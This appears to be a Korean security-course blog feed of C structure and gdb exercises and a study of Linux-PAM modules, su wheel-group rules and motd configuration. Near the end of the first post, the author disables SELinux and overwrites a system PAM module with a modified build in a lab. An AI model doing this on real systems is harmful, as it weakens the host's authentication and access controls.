63          printf(&quot;printStruct2() ap-&gt;y = %d\n&quot;, ap-&gt;y);  // 20
2: *ap = {x = 10, y = 20}
(gdb) n
printStruct2() ap-&gt;y = 20
64          ap-&gt;x += 5;  // 15
2: *ap = {x = 10, y = 20}
(gdb) n
65          ap-&gt;y += 5;  // 25
2: *ap = {x = 15, y = 20}
(gdb) n
66          printf(&quot;printStruct2() ap-&gt;x = %d\n&quot;, ap-&gt;x);  // 15
2: *ap = {x = 15, y = 25}
(gdb) n
printStruct2() ap-&gt;x = 15
67          printf(&quot;printStruct2() ap-&gt;y = %d\n&quot;, ap-&gt;y);  // 25
2: *ap = {x = 15, y = 25}
(gdb) n
printStruct2() ap-&gt;y = 25
68      }
2: *ap = {x = 15, y = 25}
(gdb) n
main () at struct8.c:42
42          printf(&quot;main() a.x = %d\n&quot;, a.x);  // 15
1: a = {x = 15, y = 25}
(gdb) n
main() a.x = 15
43          printf(&quot;main() a.y = %d\n&quot;, a.y);  // 25
1: a = {x = 15, y = 25}
(gdb) n
main() a.y = 25
45          return 0;
1: a = {x = 15, y = 25}
(gdb) c
Continuing.
[Inferior 1 (process 105839) exited normally]
(gdb) q</code></pre><blockquote>
<p><strong>실습&gt; 구조체를 활용한 사용자 검색 프로그램</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성
[root@localhost ~]# vi linuxUserInfo.c
/*
 * 파일명: linuxUserInfo.c
 * 프로그램 설명: CentOS7에서 사용자 정보를 검색한다.
 * 작성자: 리눅스마스터넷
 *
 * 64bit 컴파일: gcc -Wall -g -o linuxUserInfo linuxUserInfo.c
 * 32bit 컴파일: gcc -Wall -m32 -g -o linuxUserInfo linuxUserInfo.c
 */
#include &lt;sys/types.h&gt;
#include &lt;pwd.h&gt;
#include &lt;stdio.h&gt;

/*
 * /etc/passwd
 * root:x:0:0:root:/root:/bin/bash
 *
 * The passwd structure.
 * struct passwd
 * {
 *     char *pw_name;           // Username.
 *     char *pw_passwd;         // Password.
 *     __uid_t pw_uid;          // User ID.
 *     __gid_t pw_gid;          // Group ID.
 *     char *pw_gecos;          // Real name.
 *     char *pw_dir;            // Home directory.
 *     char *pw_shell;          // Shell program.
 * };
 */

int main(int argc, char *argv[])
{
    if(argc != 2)
    {
        fprintf(stderr, &quot;사용법: %s username\n&quot;, argv[0]);
        return 1;
    }

    // 사용자를 /etc/passwd에서 검색한다.
    struct passwd *pw = getpwnam(argv[1]);

    if(pw == NULL) { // 검색에 실패하면 프로세스를 종료한다.
        fprintf(stderr, &quot;%s 사용자가 존재하지 않습니다.\n&quot;, argv[1]);
        return 1;
    }

    // 검색에 성공하면 사용자 정보를 출력한다.
    printf(&quot;&gt;&gt;&gt; 검색된 사용자 정보 &lt;&lt;&lt;\n&quot;
           &quot;Username: %s\n&quot;
           &quot;Password: %s\n&quot;
           &quot;User ID: %d\n&quot;
           &quot;Group ID: %d\n&quot;
           &quot;Real name: %s\n&quot;
           &quot;Home directory: %s\n&quot;
           &quot;Shell program: %s\n&quot;,
           pw-&gt;pw_name, pw-&gt;pw_passwd, pw-&gt;pw_uid,
           pw-&gt;pw_gid,  pw-&gt;pw_gecos,  pw-&gt;pw_dir, pw-&gt;pw_shell);

    return 0;
}

2. 실행
[root@localhost ~]# gcc -Wall -g -m32 -o linuxUserInfo linuxUserInfo.c
[root@localhost ~]# ./linuxUserInfo
사용법: ./linuxUserInfo username
[root@localhost ~]# ./linuxUserInfo root
&gt;&gt;&gt; 검색된 사용자 정보 &lt;&lt;&lt;
Username: root
Password: x
User ID: 0
Group ID: 0
Real name: root
Home directory: /root
Shell program: /bin/bash
[root@localhost ~]# ./linuxUserInfo user1
&gt;&gt;&gt; 검색된 사용자 정보 &lt;&lt;&lt;
Username: user1
Password: x
User ID: 1001
Group ID: 100
Real name:
Home directory: /home/user1
Shell program: /bin/bash

3. gdb 분석
[root@localhost ~]# gdb -q linuxUserInfo
Reading symbols from /root/linuxUserInfo...done.
(gdb) b main
(gdb) set args root
(gdb) r
Breakpoint 1, main (argc=2, argv=0xffffd6c4) at linuxUserInfo.c:32
32          if(argc != 2)
(gdb) n
39          struct passwd *pw = getpwnam(argv[1]);
(gdb) n
41          if(pw == NULL) { // 검색에 실패하면 프로세스를 종료한다.
(gdb) disp pw
1: pw = (struct passwd *) 0xf7fcdce0 &lt;resbuf.9415&gt;
(gdb) p *pw
$7 = {pw_name = 0x804b008 &quot;root&quot;, pw_passwd = 0x804b00d &quot;x&quot;, pw_uid = 0, pw_gid = 0,
  pw_gecos = 0x804b013 &quot;root&quot;, pw_dir = 0x804b018 &quot;/root&quot;, pw_shell = 0x804b01e &quot;/bin/bash&quot;}
(gdb) c
Continuing.
&gt;&gt;&gt; 검색된 사용자 정보 &lt;&lt;&lt;
Username: root
Password: x
User ID: 0
Group ID: 0
Real name: root
Home directory: /root
Shell program: /bin/bash
(gdb) q</code></pre><blockquote>
<p><strong>실습&gt; 구조체를 활용한 그룹 검색 프로그램</strong></p>
</blockquote>
<pre><code>1. 소스코드 작성
[root@localhost ~]# cat linuxGroupInfo.c
/*
 * 파일명: linuxGroupInfo.c
 * 프로그램 설명: CentOS7에서 그룹 정보를 검색한다.
 * 작성자: 리눅스마스터넷
 *
 * 64bit 컴파일: gcc -Wall -g -o linuxGroupInfo linuxGroupInfo.c
 * 32bit 컴파일: gcc -Wall -m32 -g -o linuxGroupInfo linuxGroupInfo.c
 */
#include &lt;sys/types.h&gt;
#include &lt;grp.h&gt;
#include &lt;stdio.h&gt;

// struct group *getgrnam(const char *name);
//
/* The group structure.
 *
 * /etc/group
 * root:x:0:
 *
 * struct group
 * {
 *   char *gr_name;     // Group name.
 *   char *gr_passwd;   // Password.
 *   __gid_t gr_gid;    // Group ID.
 *   char **gr_mem;     // Member list.
 * };
 */

int main(int argc, char *argv[])
{
    int i = 0;

    if(argc != 2) {
        fprintf(stderr, &quot;사용법: %s groupname\n&quot;, argv[0]);
        return 1;
    }

    // 그룹을 /etc/group에서 검색한다.
    struct group *gr = getgrnam(argv[1]);

    if(gr == NULL) { // 검색에 실패하면 프로세스를 종료한다.
        fprintf(stderr, &quot;%s 그룹이 존재하지 않습니다.\n&quot;, argv[1]);
        return 1;
    }

    // 검색에 성공하면 그룹 정보를 출력한다.
    printf(&quot;&gt;&gt;&gt; 검색된 그룹 정보 &lt;&lt;&lt;\n&quot;
           &quot;Groupname: %s\n&quot;
           &quot;Password: %s\n&quot;
           &quot;Group ID: %d\n&quot;
           &quot;Memberlist : &quot;, gr-&gt;gr_name, gr-&gt;gr_passwd, gr-&gt;gr_gid);

    // group 구조체의 gr_mem 이 이중 포인터이므로 배열을 이용해서 반복문을 이용한다.
    while (gr-&gt;gr_mem[i] != NULL)
        printf(&quot;%s &quot;, gr-&gt;gr_mem[i++]);

    putchar(&#39;\n&#39;);

    return 0;
}

2. 실행
[root@localhost ~]# gcc -Wall -m32 -g -o linuxGroupInfo linuxGroupInfo.c
[root@localhost ~]# ./linuxGroupInfo
사용법: ./linuxGroupInfo groupname
[root@localhost ~]# ./linuxGroupInfo root
&gt;&gt;&gt; 검색된 그룹 정보 &lt;&lt;&lt;
Groupname: root
Password: x
Group ID: 0
Memberlist :

[root@localhost ~]# groupadd -g 5000 testgroup
[root@localhost ~]# useradd test1 -G testgroup
[root@localhost ~]# useradd test2 -G testgroup
[root@localhost ~]# useradd test3 -G testgroup
[root@localhost ~]# tail -5 /etc/group
user3:x:2001:
testgroup:x:5000:test1,test2,test3
test1:x:3001:
test2:x:3002:
test3:x:3003:

[root@localhost ~]# ./linuxGroupInfo testgroup
&gt;&gt;&gt; 검색된 그룹 정보 &lt;&lt;&lt;
Groupname: testgroup
Password: x
Group ID: 5000
Memberlist : test1 test2 test3

3. gdb 분석
[root@localhost ~]# gdb -q linuxGroupInfo
Reading symbols from /root/linuxGroupInfo...done.
(gdb) b main
Breakpoint 1 at 0x80484d6: file linuxGroupInfo.c, line 31.
(gdb) set args root
(gdb) r
Starting program: /root/linuxGroupInfo root

Breakpoint 1, main (argc=2, argv=0xffffd6c4) at linuxGroupInfo.c:31
31          int i = 0;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) n
33          if(argc != 2) {
(gdb) n
39          struct group *gr = getgrnam(argv[1]);
(gdb) n
41          if(gr == NULL) { // 검색에 실패하면 프로세스를 종료한다.
(gdb) p *gr
$1 = {gr_name = 0x804b008 &quot;root&quot;, gr_passwd = 0x804b00d &quot;x&quot;, gr_gid = 0, gr_mem = 0x804b014}
(gdb) x/8xw gr-&gt;gr_name
0x804b008:      0x746f6f72      0x30007800      0x0000003a      0x00000000
0x804b018:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) c
Continuing.
&gt;&gt;&gt; 검색된 그룹 정보 &lt;&lt;&lt;
Groupname: root
Password: x
Group ID: 0
Memberlist :
[Inferior 1 (process 106042) exited normally]

Memberlist 에 여러 개 있는 그룹을 확인한다.
- 이중 포인터로 되어 있다.
(gdb) r testgroup
Starting program: /root/linuxGroupInfo testgroup

Breakpoint 1, main (argc=2, argv=0xffffd6c4) at linuxGroupInfo.c:31
31          int i = 0;
(gdb) n
33          if(argc != 2) {
(gdb) n
39          struct group *gr = getgrnam(argv[1]);
(gdb) n
41          if(gr == NULL) { // 검색에 실패하면 프로세스를 종료한다.
(gdb) p *gr
$7 = {gr_name = 0x804b008 &quot;testgroup&quot;, gr_passwd = 0x804b012 &quot;x&quot;, gr_gid = 5000,
  gr_mem = 0x804b02c}
(gdb) x/4xw 0x804b02c
0x804b02c:      0x0804b019      0x0804b01f      0x0804b025      0x00000000
(gdb) x/s 0x0804b019
0x804b019:      &quot;test1&quot;
(gdb) x/s 0x0804b01f
0x804b01f:      &quot;test2&quot;
(gdb) x/s 0x0804b025
0x804b025:      &quot;test3&quot;
(gdb) c
Continuing.
&gt;&gt;&gt; 검색된 그룹 정보 &lt;&lt;&lt;
Groupname: testgroup
Password: x
Group ID: 5000
Memberlist : test1 test2 test3
[Inferior 1 (process 106064) exited normally]
(gdb) q</code></pre><blockquote>
<p>*<em>실습&gt; 구조체에 함수의 주소 저장하기 *</em></p>
</blockquote>
<pre><code>1. 소스코드 작성
[root@localhost ~]# cat struct9.c
/*
 * 파일명: struct9.c
 * 프로그램 설명: 구조체 예제
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

// 1. 구조체 정의
struct point
{
    int x;
    int y;
};

struct point_module
{
    void (*p1)(struct point);
    void (*p2)(struct point *);
};

void printStruct1(struct point a);
void printStruct2(struct point *ap);

int main()
{
    // 2. 구조체 변수 선언
    struct point a;

    // 3. 구조체 변수 사용
    // 저장
    a.x = 10;
    a.y = 20;

    struct point_module pm;
    pm.p1 = printStruct1;
    pm.p2 = printStruct2;

    // 출력 1
    pm.p1(a);
    //printStruct1(a);

    // 출력 2
    pm.p2(&amp;a);
    //printStruct2(&amp;a);  // ap = &amp;a;

    return 0;
}

void printStruct1(struct point a)
{
    // a에서 멤버 변수에 접근하는 형식: a.멤버변수명
    printf(&quot;a.x = %d\n&quot;, a.x);
    printf(&quot;a.y = %d\n&quot;, a.y);
}

void printStruct2(struct point *ap)
{
    // ap에서 멤버 변수에 접근하는 형식: ap-&gt;멤버변수명
    printf(&quot;ap-&gt;x = %d\n&quot;, ap-&gt;x);
    printf(&quot;ap-&gt;y = %d\n&quot;, ap-&gt;y);
}

2. 컴파일 실행
[root@localhost ~]# gcc -Wall -m32 -g -o struct9 struct9.c
[root@localhost ~]# ./struct9
a.x = 10
a.y = 20
ap-&gt;x = 10
ap-&gt;y = 20

3. gdb 분석
[root@localhost ~]# gdb -q struct9
Reading symbols from /root/struct9...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file struct9.c, line 32.
(gdb) r
Starting program: /root/struct9

Breakpoint 1, main () at struct9.c:32
32          a.x = 10;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) n
33          a.y = 20;
(gdb) n
36          pm.p1 = printStruct1;
(gdb) n
37          pm.p2 = printStruct2;
(gdb) n
40          pm.p1(a);
(gdb) p pm
$1 = {p1 = 0x804845f &lt;printStruct1&gt;, p2 = 0x804848d &lt;printStruct2&gt;}
(gdb) x/xw &amp;pm.p1
0xffffd620:     0x0804845f
(gdb) x/xw &amp;pm.p2
0xffffd624:     0x0804848d
(gdb) disas printStruct1
Dump of assembler code for function printStruct1:
   0x0804845f &lt;+0&gt;:     push   %ebp   &lt;-- printStruct1 시작 주소
   0x08048460 &lt;+1&gt;:     mov    %esp,%ebp
   0x08048462 &lt;+3&gt;:     sub    $0x18,%esp
   0x08048465 &lt;+6&gt;:     mov    0x8(%ebp),%eax
   0x08048468 &lt;+9&gt;:     mov    %eax,0x4(%esp)
   0x0804846c &lt;+13&gt;:    movl   $0x8048554,(%esp)
   0x08048473 &lt;+20&gt;:    call   0x80482e0 &lt;printf@plt&gt;
   0x08048478 &lt;+25&gt;:    mov    0xc(%ebp),%eax
   0x0804847b &lt;+28&gt;:    mov    %eax,0x4(%esp)
   0x0804847f &lt;+32&gt;:    movl   $0x804855e,(%esp)
   0x08048486 &lt;+39&gt;:    call   0x80482e0 &lt;printf@plt&gt;
   0x0804848b &lt;+44&gt;:    leave
   0x0804848c &lt;+45&gt;:    ret
End of assembler dump.
(gdb) disas printStruct2
Dump of assembler code for function printStruct2:
   0x0804848d &lt;+0&gt;:     push   %ebp    &lt;-- printStruct2 시작 주소
   0x0804848e &lt;+1&gt;:     mov    %esp,%ebp
   0x08048490 &lt;+3&gt;:     sub    $0x18,%esp
   0x08048493 &lt;+6&gt;:     mov    0x8(%ebp),%eax
   0x08048496 &lt;+9&gt;:     mov    (%eax),%eax
   0x08048498 &lt;+11&gt;:    mov    %eax,0x4(%esp)
   0x0804849c &lt;+15&gt;:    movl   $0x8048568,(%esp)
   0x080484a3 &lt;+22&gt;:    call   0x80482e0 &lt;printf@plt&gt;
   0x080484a8 &lt;+27&gt;:    mov    0x8(%ebp),%eax
   0x080484ab &lt;+30&gt;:    mov    0x4(%eax),%eax
   0x080484ae &lt;+33&gt;:    mov    %eax,0x4(%esp)
   0x080484b2 &lt;+37&gt;:    movl   $0x8048574,(%esp)
   0x080484b9 &lt;+44&gt;:    call   0x80482e0 &lt;printf@plt&gt;
   0x080484be &lt;+49&gt;:    leave
   0x080484bf &lt;+50&gt;:    ret
End of assembler dump.
(gdb) c
Continuing.
a.x = 10
a.y = 20
ap-&gt;x = 10  
ap-&gt;y = 20
[Inferior 1 (process 106089) exited normally]
(gdb) q</code></pre><blockquote>
<p><strong>실습&gt; PAM 소스에서 구조체와 함수 포인터 적용 예</strong></p>
</blockquote>
<pre><code>PAM에서 구조체에 함수 포인터를 이용해서 함수의 주소를 저장하는 부분

PAM 모듈은 구조체로 되어 있고 각 멤버 변수는 함수를 저장할 수 있는 함수 포인터로 구성되어 있다.
-- /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/libpam/include/security/pam_modules.h --

 37 struct pam_module {
 38     const char *name;       /* Name of the module */
 39
 40     /* These are function pointers to the module&#39;s key functions.  */
 41
 42     int (*pam_sm_authenticate) (pam_handle_t *pamh, int flags, int argc, const char **argv);
 43     int (*pam_sm_setcred)      (pam_handle_t *pamh, int flags, int argc, const char **argv);
 44     int (*pam_sm_acct_mgmt)    (pam_handle_t *pamh, int flags, int argc, const char **argv);
 45     int (*pam_sm_open_session) (pam_handle_t *pamh, int flags, int argc, const char **argv);
 46     int (*pam_sm_close_session)(pam_handle_t *pamh, int flags, int argc, const char **argv);
 47     int (*pam_sm_chauthtok)    (pam_handle_t *pamh, int flags, int argc, const char **argv);
 48 };
-- /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/libpam/include/security/pam_modules.h --

모듈의 소스를 보면 모듈이 어디서 지원하는지에 따라서 함수 포인터가 저장되어 있는 주소가 각각 다르게 되어 있다.
pam_permit.c 는 모든 type에서 적용이 가능하고 모든 부분에 함수의 주소가 저장되어 있다.
-- /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_permit/pam_permit.c --

124 struct pam_module _pam_permit_modstruct = {
125     &quot;pam_permit&quot;,
126     pam_sm_authenticate,  &lt;-- auth
127     pam_sm_setcred,       &lt;-- auth
128     pam_sm_acct_mgmt,     &lt;-- account
129     pam_sm_open_session,  &lt;-- session
130     pam_sm_close_session, &lt;-- session
131     pam_sm_chauthtok      &lt;-- password 
132 };
-- /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_permit/pam_permit.c --


o pam_succeed_if.so
모듈은 모든 타입에서 사용 가능
모듈의 인자로 조건을 설정하며, 조건이 참일 경우 성공을 반환
ex) auth    sufficient        user = user1 use_uid quiet

pam_succeed_if.c

578 /* static module data */
579 #ifdef PAM_STATIC
580 struct pam_module _pam_succeed_if_modstruct = {
581     &quot;pam_succeed_if&quot;,
582     pam_sm_authenticate,
583     pam_sm_setcred,
584     pam_sm_acct_mgmt,
585     pam_sm_open_session,
586     pam_sm_close_session,
587     pam_sm_chauthtok
588 };
589 #endif


o pam_wheel.so
모듈은 auth type에서만 사용 가능
모듈은 root로 접근하는 사용자가 wheel 그룹의 구성원인 경우에만 허용하기 위해 사용
일반적으로 su의 보안 설정을 위해 사용 됨
ex) su    auth    sufficient        pam_rootok.so
ex) su    auth    required        pam_wheel.so trust use_uid
ex) su    auth    required        pam_unix.so
ex) su    auth    required        pam_permit.so

pam_wheel.c 

266 #ifdef PAM_STATIC
267 
268 /* static module data */
269 
270 struct pam_module _pam_wheel_modstruct = {
271     &quot;pam_wheel&quot;,
272     pam_sm_authenticate,
273     pam_sm_setcred,
274     pam_sm_acct_mgmt,
275     NULL,
276     NULL,
277     NULL
278 };
279 
280 #endif /* PAM_STATIC */


o pam_motd
모듈은 session type에서만 사용 가능
motd 파일의 내용을 출력
ex) session    optional    pam_motd.so    motd=/etc/motd

pam_motd.c

114 #ifdef PAM_STATIC
115      
116 /* static module data */
117 
118 struct pam_module _pam_motd_modstruct = {
119      &quot;pam_motd&quot;,
120      NULL,
121      NULL,
122      NULL,
123      pam_sm_open_session,
124      pam_sm_close_session,
125      NULL,
126 };
127 
128 #endif
129 
130 /* end of module definition */


pam_time.so
모듈은 account type에서만 사용 가능
로그인할 위치 및 시간을 지정하여 시간에 따라 로그인을 제어
ex) account    required    pam_time.so
설정 파일 : /etc/security/time.conf

pam_time.c

667 #ifdef PAM_STATIC
668     
669 /* static module data */
670     
671 struct pam_module _pam_time_modstruct = {
672     &quot;pam_time&quot;,
673     NULL,
674     NULL,
675     pam_sm_acct_mgmt,
676     NULL,
677     NULL,
678     NULL
679 };  
680 #endif


pam_cracklib.so
모듈은 password 타입에서만 사용 가능
사용자 암호 정책을 확인
입력받은 암호를 /etc/lib64/cracklib_dict에 있는 사전 정보와 비교
새로운 암호를 /etc/security/opasswd에 저장되어 있는 이 전 암호 목록과 비교
시스템 보안 차원에서 패스워드 글자 수를 제한할 수 있음


pam_cracklib.c 

861 #ifdef PAM_STATIC
862 /* static module data */
863 struct pam_module _pam_cracklib_modstruct = {
864      &quot;pam_cracklib&quot;,
865      NULL,
866      NULL,
867      NULL,
868      NULL,
869      NULL,
870      pam_sm_chauthtok
871 };
872 #endif


pam_limits.so
모듈은 session type에서만 사용 가능
사용자가 사용할 수 있는 로그인 세션의 자원을 설정 파일에 따라 제한
사용자에 가용 자원을 제한함으로써 자원에 영향을 주는 DoS 공격에 대비가 가능하다는 이점이 있음
ex) session    required    pam_limits.so
설정 파일 : /etc/security/limits.conf

pam_limits.c  

1095 #ifdef PAM_STATIC
1096 
1097 /* static module data */
1098 
1099 struct pam_module _pam_limits_modstruct = {
1100      &quot;pam_limits&quot;,
1101      NULL,
1102      NULL,
1103      NULL,
1104      pam_sm_open_session,
1105      pam_sm_close_session,
1106      NULL
1107 };
1108 #endif

# yum -y reinstall pam
# useradd user1
# useradd user2
# useradd user3
# su - user1

[user1@localhost ~]$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)  ... (생략)

-- /etc/pam.d/su --
  3 auth        sufficient  pam_rootok.so debug   &lt;-- 실패
  4 auth        sufficient  pam_wheel.so trust use_uid debug  &lt;-- 실패
  5 auth        substack    system-auth   &lt;-- 성공
  :
  :(생략)
-- /etc/pam.d/su --

[user1@localhost ~]$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[user1@localhost ~]$ su -
암호:  &lt;-- root 비번이 맞으면 root로 변경된다.
마지막 로그인: 수  3월 29 09:17:50 KST 2023 200.200.200.1에서 시작 일시 pts/2
[root@localhost ~]# exit
[user1@localhost ~]$

# usermod -G wheel user1
# grep wheel /etc/group
wheel:x:10:user1
# su - user1
[user1@localhost ~]$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1),10(wheel) ...(생략)

[user1@localhost ~]$ su -
마지막 로그인: 수  3월 29 16:20:08 KST 2023 일시 pts/2
[root@localhost ~]# exit

-- /etc/pam.d/su --
  3 auth        sufficient  pam_rootok.so debug
  4 #auth       sufficient  pam_wheel.so trust use_uid debug
  5 auth        required    pam_wheel.so use_uid  &lt;-- wheel 그룹에 포함된 사용자만 su 명령어를 사용할 수 있다.
  6 auth        substack    system-auth
-- /etc/pam.d/su --

[user1@localhost ~]$ su -
암호:  &lt;-- root의 비밀번호를 입력한다.
마지막 로그인: 수  3월 29 16:21:47 KST 2023 일시 pts/2
[root@localhost ~]# exit
[user1@localhost ~]$ exit

# su - user2
마지막 로그인 실패: 토  3월 25 17:12:37 KST 2023 일시 pts/4
마지막 로그인 후 3 번의 로그인 시도가 실패하였습니다.
[user2@localhost ~]$ id
uid=1002(user2) gid=1002(user2) groups=1002(user2) ... (생략)
[user2@localhost ~]$ su -
암호:  &lt;-- root의 비밀번호를 정확히 입력해도 root의 쉘을 얻을 수 없다. (wheel 그룹에 포함되지 않았기 때문이다.)
su: 권한 부여 거부</code></pre><blockquote>
<p><strong>실습&gt; ssh motd</strong></p>
</blockquote>
<pre><code>motd: Message Of The Day

[root@localhost ~]# grep -i motd /etc/ssh/sshd_config
#PrintMotd yes

[root@localhost ~]# cat &gt;&gt; /etc/motd &lt;&lt; EOF
안녕하세요.
반갑습니다.
EOF

[root@localhost ~]# ssh root@localhost
root@localhost&#39;s password:
Last login: Wed Mar 29 17:05:23 2023 from localhost
안녕하세요.
반갑습니다.

[root@localhost ~]# exit
[root@localhost ~]# rm -f /etc/motd</code></pre><blockquote>
<p><strong>실습&gt; pam_motd.so</strong></p>
</blockquote>
<pre><code>motd: Message Of The Day

/etc/motd 파일은 sshd 데몬에서 기본 설정으로 되어 있으므로 여기서는 파일명을 /etc/motd2로 변경해서 설정한다.

1. PAM 파일 수정
-- /etc/pam.d/sshd --
 12 session    optional     pam_motd.so    motd=/etc/motd2
 13 session    required     pam_selinux.so close
-- /etc/pam.d/sshd --

2. 메세지 파일 생성
/etc/motd는 ssh로 접속하면 기본적으로 보여지는 파일이므로 여기서는 /etc/motd2로 파일을 생성한다.
# vi /etc/motd2
&gt;&gt;&gt; 공지사항 &lt;&lt;&lt; 
시스템 점검이 2023.4.1 ~ 4.2 01:00 ~ 07:00 까지 새벽 작업이 있을 예정입니다.
서버에 접속은 할 수 없음을 알려드립니다.

점검일시: 2023.4.1 ~ 4.2 01:00 ~ 07:00 
담당자: 인프라 시스템 홍길동 팀장
연락처: 010-1111-2222

문의 사항은 연락처로 연락주시기 바랍니다.
감사합니다.

3. 사용자 생성
[root@localhost ~]# useradd user1
[root@localhost ~]# passwd user1

4. 서버 접속
cmd에서 ssh로 서버에 접속하면 /etc/motd2 파일의 내용이 출력된다.
C:\Users\boani&gt;ssh user1@200.200.200.3
user1@200.200.200.3&#39;s password:
&gt;&gt;&gt; 공지사항 &lt;&lt;&lt;
시스템 점검이 2023.4.1 ~ 4.2 01:00 ~ 07:00 까지 새벽 작업이 있을 예정입니다.
서버에 접속은 할 수 없음을 알려드립니다.

점검일시: 2023.4.1 ~ 4.2 01:00 ~ 07:00
담당자: 인프라 시스템 홍길동 팀장
연락처: 010-1111-2222

문의 사항은 연락처로 연락주시기 바랍니다.
감사합니다.
Last login: Wed Mar 29 16:21:19 2023
[user1@localhost ~]$


# cd /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_motd
# vi pam_motd.c 
 51 PAM_EXTERN
 52 int pam_sm_open_session(pam_handle_t *pamh, int flags,
 53             int argc, const char **argv)
 54 {
 55     printf(&quot;pam_sm_open_session() 실행!\n&quot;);
  :
  :(생략)
 82     printf(&quot;motd_path: %s\n&quot;, motd_path);
 83                                                                                             
 84     if (motd_path == NULL)
 85     motd_path = default_motd;

# make
# setenforce 0
# mv .libs/pam_motd.so /usr/lib64/security/
mv: overwrite `/usr/lib64/security/pam_motd.so&#39;? y
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[시스템 보안 운영 - 3 (교육 84일차)]]></title>
            <link>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-3-%EA%B5%90%EC%9C%A1-84%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-3-%EA%B5%90%EC%9C%A1-84%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Wed, 29 Mar 2023 23:59:51 GMT</pubDate>
            <description><![CDATA[<pre><code>/lib/security : 32bit PAM 관련 모듈 디렉터리
/lib64/security : 64bit PAM 관련 모듈 디렉터리

[root@systemhacking ~]# ls /lib64/security
pam_access.so    pam_faildelay.so  pam_listfile.so    pam_pwhistory.so       pam_succeed_if.so  pam_unix_passwd.so
pam_cap.so       pam_faillock.so   pam_localuser.so   pam_pwquality.so       pam_systemd.so     pam_unix_session.so
pam_chroot.so    pam_filter        pam_loginuid.so    pam_rhosts.so          pam_tally2.so      pam_userdb.so
pam_console.so   pam_filter.so     pam_mail.so        pam_rootok.so          pam_time.so        pam_warn.so
pam_cracklib.so  pam_ftp.so        pam_mkhomedir.so   pam_securetty.so       pam_timestamp.so   pam_wheel.so
pam_debug.so     pam_group.so      pam_motd.so        pam_selinux.so         pam_tty_audit.so   pam_xauth.so
pam_deny.so      pam_issue.so      pam_namespace.so   pam_selinux_permit.so  pam_umask.so
pam_echo.so      pam_keyinit.so    pam_nologin.so     pam_sepermit.so        pam_unix.so
pam_env.so       pam_lastlog.so    pam_permit.so      pam_shells.so          pam_unix_acct.so
pam_exec.so      pam_limits.so     pam_postgresok.so  pam_stress.so          pam_unix_auth.so

[root@systemhacking ~]# ls /etc/pam.d/
chfn              fingerprint-auth-ac  password-auth-ac  runuser            smtp.postfix  sudo-i
chsh              login                polkit-1          runuser-l          sshd          system-auth
config-util       other                postlogin         smartcard-auth     su            system-auth-ac
crond             passwd               postlogin-ac      smartcard-auth-ac  su-l          systemd-user
fingerprint-auth  password-auth        remote            smtp               sudo          vlock

[root@systemhacking ~]# ls /etc/security/
access.conf   console.handlers  group.conf   namespace.conf  opasswd         sepermit.conf
chroot.conf   console.perms     limits.conf  namespace.d     pam_env.conf    time.conf
console.apps  console.perms.d   limits.d     namespace.init  pwquality.conf
</code></pre><blockquote>
<p><strong>실습&gt; pam 소스 분석</strong></p>
</blockquote>
<pre><code># cd
# yum -y install bzip2 yum-utils flex-devel

컴파일 에러 때문에 flex-devel을 설치했는데 그래도 
에러가 발생되서 개발툴 전체를 설치한다.
# yum -y groupinstall &quot;Development Tools&quot;

# yumdownloader --downloadonly --source pam
# rpm -Uvh  pam-1.1.8-23.el7.src.rpm
# cd rpmbuild/SOURCES
# tar xjf Linux-PAM-1.1.8.tar.bz2
# cd Linux-PAM-1.1.8
# ./configure
# make
  &lt;== 컴파일이 완료되면 실행파일들이 생긴다.

# tree -d -L 1
.
├── build-aux
├── conf
├── doc
├── examples &lt;-- PAM을 이용하는 프로그램들의 샘플 소스가 저장되어 있다.
├── libpam
├── libpam_misc
├── libpamc
├── m4
├── modules  &lt;-- 각 모듈이 위치한 디렉터리
├── po
├── tests    &lt;-- PAM을 이용하는 프로그램들의 샘플 소스가 저장되어 있다.
└── xtests


테스트 파일을 확인한다.
# cat examples/check_user.c
</code></pre><blockquote>
<p><strong>실습&gt; vimrc 설정하기</strong></p>
</blockquote>
<pre><code># vi /etc/vimrc
  :
  :(생략)
set nu
set ai
set ci
set bg=dark
set cursorline
set expandtab
set ts=4
set sw=4

# alias vi=vim

# vi ~/.bashrc
alias vi=vim  # 추가</code></pre><blockquote>
<p><strong>실습&gt; pam_rootok 분석하기</strong></p>
</blockquote>
<pre><code>/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules/pam_rootok

# pwd
/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/
# cd
# ln -s /root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules .
# cd -P modules
# pwd
/root/rpmbuild/SOURCES/Linux-PAM-1.1.8/modules
# cd pam_rootok/

# vi pam_rootok.c

 42 #define mytest 1
 43  
 44 static int 
 45 _pam_parse (const pam_handle_t *pamh, int argc, const char **argv)
 46 {   

# make
# tree .libs/
.libs/
├── pam_rootok.la -&gt; ../pam_rootok.la
├── pam_rootok.lai
├── pam_rootok.o    &lt;-- 목적파일
└── pam_rootok.so   &lt;-- 목적파일을 가지고 동적 라이브러리를 생성

0 directories, 4 files

# vi pam_rootok.c

 44 static int
 45 _pam_parse (const pam_handle_t *pamh, int argc, const char **argv)
 46 {
 47     int ctrl=0;
 48 
 49     printf(&quot;_pam_parse()\n&quot;);  // 출력하기 위해서 소스코드를 수정한다.
 50 
